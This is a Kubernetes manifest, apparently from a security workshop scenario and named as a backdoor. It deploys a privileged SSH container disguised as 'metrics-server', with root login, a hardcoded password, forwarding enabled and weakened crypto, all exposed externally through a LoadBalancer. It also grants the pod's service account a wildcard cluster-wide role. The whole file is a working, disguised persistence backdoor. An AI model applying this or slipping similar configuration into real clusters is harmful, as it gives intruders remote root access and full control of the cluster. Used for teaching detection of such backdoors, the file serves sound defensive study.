workshop/scenario_1/backdoor.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: metrics-server-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: metrics-server
  template:
    metadata:
      labels:
        app: metrics-server
    spec:
      containers:
      - name: metrics-server
        image: testcontainers/sshd
        command: ["sh", "-c", "echo $USERNAME:$PASSWORD | chpasswd && /usr/sbin/sshd -D -o PermitRootLogin=yes -o AddressFamily=inet -o GatewayPorts=yes -o AllowAgentForwarding=yes -o AllowTcpForwarding=yes -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostkeyAlgorithms=+ssh-rsa"]
        ports:
        - containerPort: 22
        env:
        - name: USERNAME
          value: "root"
        - name: PASSWORD
          value: "Sup3r_S3cr3t_P@ssw0rd"
        securityContext:
          privileged: true
      serviceAccountName: metrics-server-account
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: metrics-server-account
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: privileged-role
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: privileged-binding
subjects:
- kind: ServiceAccount
  name: metrics-server-account
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: privileged-role
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Service
metadata:
  name: metrics-server-service
spec:
  type: LoadBalancer
  selector:
    app: metrics-server
  ports:
  - protocol: TCP
    port: 8080
    targetPort: 22